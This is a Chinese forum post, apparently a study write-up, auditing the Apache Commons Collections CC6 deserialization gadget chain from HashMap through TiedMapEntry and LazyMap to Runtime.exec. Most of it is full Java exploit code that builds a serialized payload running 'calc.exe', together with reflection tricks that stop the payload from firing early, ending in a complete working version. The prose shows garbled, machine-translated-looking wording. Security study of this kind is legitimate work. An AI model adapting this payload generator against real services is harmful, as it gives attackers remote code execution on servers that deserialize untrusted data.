Apache-CC6链审计条记

[复制链接]
发表于 2025-10-29 00:16:48 | 显示全部楼层 |阅读模式

马上注册,结交更多好友,享用更多功能,让你轻松玩转社区。

您需要 登录 才可以下载或查看,没有账号?立即注册

×
java-CC6链审计条记

一、审计过程

1、lazyMap

在之前CC1的审计中发现ChainedTransformer的transform方法还可以被LazyMap的get方法调用

  1. public Object get(Object key) {
  2.     // create value for key if key is not currently in the map
  3.     if (map.containsKey(key) == false) {
  4.         Object value = factory.transform(key);
  5.         map.put(key, value);
  6.         return value;
  7.     }
  8.     return map.get(key);
  9. }
复制代码
以是只要令factory的值为ChainedTransformer对象,则可以实现调用。而protected final Transformer factory; 则界说了factory是一个类属性,以是只要可以或许通过构造方法对类属性举行赋值,则可以实现对象的通报。
  1. protected LazyMap(Map map, Transformer factory) {
  2.         super(map);
  3.         if (factory == null) {
  4.             throw new IllegalArgumentException("Factory must not be null");
  5.         }
  6.         this.factory = factory;
  7.     }
复制代码
同时,还须要令 if (map.containsKey(key) == false) 条件满意,则阐明Map对象中不能包罗对应的Key值,则才会进入If语句中举行调用。
CC1扩展

接下来探求谁在调用LazyMap的get方法,通过Find Usage找到了3000多个匹配的地方,此中也包罗AnnotationInvocationHandler

着实这也是CC1链的一个扩展,但是由于仍然是对AnnotationInvocationHandler举行反序列化,同样不实用于新版本JDK,以是该链不举行审计。
2、TiedMapEntry

发现Common Collections库中的TiedMapEntry调用了get方法。

谁在调用getValue方法,发现同类中的hashCode方法在调用。

而那里有hashCode呢,着实在审计UrlDNS链时已经知道了,HashMap就存在hashCode方法,且HashMap自己就重写了readObject,可以较好地实现反序列化和自动调用。以是CC6相对是比力容易明白的,而且不依靠于JDK版本,实用性也很高。如今确定的调用链如下:
  1. java.io.ObjectInputStream.readObject()
  2.         java.util.HashMap.put()
  3.         java.util.HashMap.hashCode()
  4.             org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
  5.             org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
  6.                 org.apache.commons.collections.map.LazyMap.get()
  7.                     org.apache.commons.collections.functors.ChainedTransformer.transform()
  8.                     org.apache.commons.collections.functors.InvokerTransformer.transform()
  9.                         java.lang.reflect.Method.invoke()
  10.                             java.lang.Runtime.exec()
复制代码
二、编写链条使用

  1. import org.apache.commons.collections.Transformer;
  2. import org.apache.commons.collections.functors.ChainedTransformer;
  3. import org.apache.commons.collections.functors.ConstantTransformer;
  4. import org.apache.commons.collections.functors.InvokerTransformer;
  5. import org.apache.commons.collections.keyvalue.TiedMapEntry;
  6. import org.apache.commons.collections.map.LazyMap;
  7. import java.io.*;
  8. import java.lang.reflect.Method;
  9. import java.util.HashMap;
  10. import java.util.Map;
  11. public class ApacheCC6 {
  12.     public void CC6_ser() throws Exception {
  13.         // transformer[]数组,相当于一下代码的执行。
  14.     /*
  15.         Class<Runtime> runtimeClass = Runtime.class;
  16.         Method method = runtimeClass.getMethod("getRuntime", null);
  17.         Runtime runtime = (Runtime) method.invoke(null);
  18.         runtime.exec("calc.exe");
  19.     */
  20.         Transformer[] transformers = new Transformer[]{
  21.                 // 1.相当于Class<Runtime> runtimeClass = Runtime.class;
  22.                 new ConstantTransformer(Runtime.class),
  23.                 // 2.相当于Method method = runtimeClass.getMethod("getRuntime", null);
  24.                 new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class},
  25.                         new Object[]{"getRuntime", null}),
  26.                 // 3.相当于runtime = (Runtime) method.invoke(null);
  27.                 new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class},
  28.                         new Object[]{null, null}),
  29.                 // 4.相当于runtime.exec("calc.exe");
  30.                 new InvokerTransformer("exec", new Class[]{String.class},
  31.                         new Object[]{"calc.exe"})
  32.         };
  33.         ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
  34.         // 创建lazymap,并传入chainedTransformer对象
  35.         /*
  36.         LazyMap有一个静态方法可以让我拿到它的对象实例
  37.         public static Map decorate(Map map, Factory factory) {
  38.         return new LazyMap(map, factory);
  39.         }
  40.         */
  41.         LazyMap Lazymap = (LazyMap) LazyMap.decorate(new HashMap(), chainedTransformer);
  42.         // 创建TiedMapEntry对象,并绑定Lazymap对象
  43.         TiedMapEntry tiedMapEntry = new TiedMapEntry(Lazymap, "lingx5");
  44.         // 创建HashMap对象,并将TiedMapEntry作为Key进行处理
  45.         Map<Object, Object> map = new HashMap<>();
  46.         map.put(tiedMapEntry, "lingx5");
  47.         FileOutputStream fos = new FileOutputStream("src/main/upload/ApacheCC6.ser");
  48.         ObjectOutputStream oos = new ObjectOutputStream(fos);
  49.         oos.writeObject(map);
  50.     }
  51.     public void unserializeCC6() throws Exception {
  52.         FileInputStream fis = new FileInputStream("src/main/upload/ApacheCC6.ser");
  53.         ObjectInputStream ois = new ObjectInputStream(fis);
  54.         ois.readObject();
  55.         System.out.println("运行完成");
  56.     }
  57.     public static void main(String[] args) throws Exception {
  58.         ApacheCC6 cc6 = new ApacheCC6();
  59.         cc6.CC6_ser();
  60.         // cc6.unserializeCC6();
  61.     };
  62. }
复制代码

乐成弹出盘算机
   这只是在序列化,并没有反序列化他就弹出了盘算器。同时报错Exception in thread "main" java.io.NotSerializableException: java.lang.ProcessImpl

  我们在下面办理这个题目
  三、非常调试

由于HashMap的put方法会导致提前调用hashCode()方法,从而在序列化的时间就下令实验
  1. Exception in thread "main" java.io.NotSerializableException: java.lang.ProcessImpl
复制代码
这个报错也是Runtime在实验方法时的底层类实现类对象,由于ProcessImpl对象不能被序列化而导致的报错
我们使用ChainedTransformer的Transform()方法一步一步循环从而得到了Runtime类。以是我们在lazyMap实例化的时间不传入ChainedTransformer对象,而是传入一个其他偶然义的类。在通过反射的方式修改JVM已经加载的LazyMap对象。修改之后在举行序列化。
LazyMap实例化
  1. LazyMap Lazymap = (LazyMap) LazyMap.decorate(new HashMap(), new ConstantTransformer(null));
复制代码
反射修改
  1. Class<? extends LazyMap> Clazz = Lazymap.getClass();
  2. Field factory = Clazz.getDeclaredField("factory");
  3. factory.setAccessible(true);
  4. factory.set(Lazymap, chainedTransformer);
复制代码
修改后
  1. import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import java.io.*;import java.lang.reflect.Field;import java.lang.reflect.Method;import java.util.HashMap;import java.util.Map;public class ApacheCC6 {    public void CC6_ser() throws Exception {        // transformer[]数组,相当于一下代码的实验。    /*        Class<Runtime> runtimeClass = Runtime.class;        Method method = runtimeClass.getMethod("getRuntime", null);        Runtime runtime = (Runtime) method.invoke(null);        runtime.exec("calc.exe");    */        Transformer[] transformers = new Transformer[]{                // 1.相当于Class<Runtime> runtimeClass = Runtime.class;                new ConstantTransformer(Runtime.class),                // 2.相当于Method method = runtimeClass.getMethod("getRuntime", null);                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class},                        new Object[]{"getRuntime", null}),                // 3.相当于runtime = (Runtime) method.invoke(null);                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class},                        new Object[]{null, null}),                // 4.相当于runtime.exec("calc.exe");                new InvokerTransformer("exec", new Class[]{String.class},                        new Object[]{"calc.exe"})        };        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);        // 创建lazymap,并传入chainedTransformer对象        /*        LazyMap有一个静态方法可以让我拿到它的对象实例        public static Map decorate(Map map, Transformer factory) {        return new LazyMap(map, factory);    }        */        LazyMap Lazymap = (LazyMap) LazyMap.decorate(new HashMap(), new ConstantTransformer(null));
  2.         // 创建TiedMapEntry对象,并绑定Lazymap对象        TiedMapEntry tiedMapEntry = new TiedMapEntry(Lazymap, "lingx5");        // 创建HashMap对象,并将TiedMapEntry作为Key举行处理处罚        Map<Object, Object> map = new HashMap<>();        map.put(tiedMapEntry, "lingx5");        // 在实验put之后,反射修改LazyMap对象的factory属性        Class<? extends LazyMap> Clazz = Lazymap.getClass();        Field factory = Clazz.getDeclaredField("factory");        factory.setAccessible(true);        factory.set(Lazymap, chainedTransformer);        FileOutputStream fos = new FileOutputStream("src/main/upload/ApacheCC6.ser");        ObjectOutputStream oos = new ObjectOutputStream(fos);        oos.writeObject(map);    }    public void unserializeCC6() throws Exception {        FileInputStream fis = new FileInputStream("src/main/upload/ApacheCC6.ser");        ObjectInputStream ois = new ObjectInputStream(fis);        ois.readObject();        System.out.println("运行完成");    }    public static void main(String[] args) throws Exception {        ApacheCC6 cc6 = new ApacheCC6();        cc6.CC6_ser();        cc6.unserializeCC6();    };}
复制代码
如今没有报错了,但是他也不弹盘算机了。我们调试一下看是那里的题目

看到if语句里的表达式为false,以是没有调用factory.transform(key)方法
   这是由于在map.put(tiedMapEntry, “lingx5”)实验时,触发TiedMapEntry的hashCode方法调用LazyMap.get(“lingx5”)该key来自TiedMapEntry构造时的第二个参数。此时LazyMap的factory照旧初始值,但根据LazyMap特性,若key不存在会自动创建条目,导致"lingx5"被注入到初始空HashMap中。
  我们继续修改,把key(lingx5)删除
  1. // 反射和直接删除都是可以的,因为remove的修饰符是public
  2.                 /*        反射删除
  3.         Method remove = Clazz.getMethod("remove", Object.class);
  4.         remove.invoke(Lazymap, "lingx5");
  5.         */
  6.                 // 直接删除
  7.         Lazymap.remove("lingx5");
复制代码
四、终极代码

  1. import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import java.io.*;import java.lang.reflect.Field;import java.lang.reflect.Method;import java.util.HashMap;import java.util.Map;public class ApacheCC6 {    public void CC6_ser() throws Exception {        // transformer[]数组,相当于一下代码的实验。    /*        Class<Runtime> runtimeClass = Runtime.class;        Method method = runtimeClass.getMethod("getRuntime", null);        Runtime runtime = (Runtime) method.invoke(null);        runtime.exec("calc.exe");    */        Transformer[] transformers = new Transformer[]{                // 1.相当于Class<Runtime> runtimeClass = Runtime.class;                new ConstantTransformer(Runtime.class),                // 2.相当于Method method = runtimeClass.getMethod("getRuntime", null);                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class},                        new Object[]{"getRuntime", null}),                // 3.相当于runtime = (Runtime) method.invoke(null);                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class},                        new Object[]{null, null}),                // 4.相当于runtime.exec("calc.exe");                new InvokerTransformer("exec", new Class[]{String.class},                        new Object[]{"calc.exe"})        };        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);        // 创建lazymap,并传入chainedTransformer对象        /*        LazyMap有一个静态方法可以让我拿到它的对象实例        public static Map decorate(Map map, Transformer factory) {        return new LazyMap(map, factory);    }        */        LazyMap Lazymap = (LazyMap) LazyMap.decorate(new HashMap(), new ConstantTransformer(null));
  2.         // 创建TiedMapEntry对象,并绑定Lazymap对象        TiedMapEntry tiedMapEntry = new TiedMapEntry(Lazymap, "lingx5");        // 创建HashMap对象,并将TiedMapEntry作为Key举行处理处罚        Map<Object, Object> map = new HashMap<>();        map.put(tiedMapEntry, "lingx5");        // 在实验put之后,反射修改LazyMap对象的factory属性        Class<? extends LazyMap> Clazz = Lazymap.getClass();        Field factory = Clazz.getDeclaredField("factory");        factory.setAccessible(true);        factory.set(Lazymap, chainedTransformer);        // 删除名为ingx5的key        /*        Method remove = Clazz.getMethod("remove", Object.class);        remove.invoke(Lazymap, "lingx5");        */        Lazymap.remove("lingx5");        FileOutputStream fos = new FileOutputStream("src/main/upload/ApacheCC6.ser");        ObjectOutputStream oos = new ObjectOutputStream(fos);        oos.writeObject(map);    }    public void unserializeCC6() throws Exception {        FileInputStream fis = new FileInputStream("src/main/upload/ApacheCC6.ser");        ObjectInputStream ois = new ObjectInputStream(fis);        ois.readObject();        System.out.println("运行完成");    }    public static void main(String[] args) throws Exception {        ApacheCC6 cc6 = new ApacheCC6();        cc6.CC6_ser();        cc6.unserializeCC6();    };}
复制代码

回复

使用道具 举报

登录后关闭弹窗

登录参与点评抽奖  加入IT实名职场社区
去登录
快速回复 返回顶部 返回列表